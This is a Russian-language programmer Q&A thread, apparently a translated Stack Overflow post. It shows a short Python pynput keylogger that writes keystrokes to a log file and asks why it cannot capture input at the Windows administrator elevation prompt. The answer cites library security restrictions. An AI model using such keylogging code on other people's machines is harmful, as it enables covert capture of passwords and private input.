Кейлоггер не может захватить ключи «запустить как администратор» - Почему? - PullRequest
0 голосов
/ 01 ноября 2019

Проблема

даже не может зафиксировать ни одного нажатия клавиши в поле «Запуск от имени администратора» .

Почему это можетне поймать его там? какие-либо конкретные причины?

запустить его от имени администратора (изображение)

Простой кейлоггер

from pynput.keyboard import Key, Listener
import logging

#log file path
log_path=""

logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format=' %(message)s' ) 

def btn_press(key):
    logging.info(key)


with Listener(on_press=btn_press) as listene:
    listene.join()

Этот простой кейлоггер Python не может поймать эту клавишу ход, но работает в покое все удары.

1 Ответ

0 голосов
/ 01 ноября 2019

Это, вероятно, по соображениям безопасности. См. Документацию слушателя клавиатуры, который вы используете:

https://pythonhosted.org/pynput/keyboard.html

Запуск слушателя клавиатуры может быть ограничен для вашей платформы.

В Mac OSX должно выполняться одно из следующих условий:

  • Процесс должен выполняться от имени пользователя root.
  • Ваше приложение должно быть занесено в белый список в разделе «Включить доступ для вспомогательных устройств». Обратите внимание, что для этого может потребоваться упаковать ваше приложение, так как в противном случае вся установка Python должна быть в белом списке.

В Windows виртуальные события, отправленные другими процессами, могут не приниматься. Однако эта библиотека принимает меры предосторожности для отправки любых виртуальных событий, сгенерированных всем запущенным в настоящий момент прослушивателям текущего процесса.

...